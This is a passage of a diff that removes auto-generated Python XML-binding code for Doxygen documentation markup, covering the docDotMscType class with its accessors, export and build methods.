MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docImageType - - -class docDotMscType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, name=None, width=None, height=None, caption=None, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.name = _cast(None, name) - self.name_nsprefix_ = None - self.width = _cast(None, width) - self.width_nsprefix_ = None - self.height = _cast(None, height) - self.height_nsprefix_ = None - self.caption = _cast(None, caption) - self.caption_nsprefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docDotMscType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docDotMscType.subclass: - return docDotMscType.subclass(*args_, **kwargs_) - else: - return docDotMscType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_width(self): - return self.width - def set_width(self, width): - self.width = width - def get_height(self): - return self.height - def set_height(self, height): - self.height = height - def get_caption(self): - return self.caption - def set_caption(self, caption): - self.caption = caption - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docDotMscType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docDotMscType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docDotMscType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docDotMscType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docDotMscType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docDotMscType'): - if self.name is not None and 'name' not in already_processed: - already_processed.add('name') - outfile.write(' name=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.name), input_name='name')), )) - if self.width is not None and 'width' not in already_processed: - already_processed.add('width') - outfile.write(' width=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.width), input_name='width')), )) - if self.height is not None and 'height' not in already_processed: - already_processed.add('height') - outfile.write(' height=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.height), input_name='height')), )) - if self.caption is not None and 'caption' not in already_processed: - already_processed.add('caption') - outfile.write(' caption=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.caption), input_name='caption')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docDotMscType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - 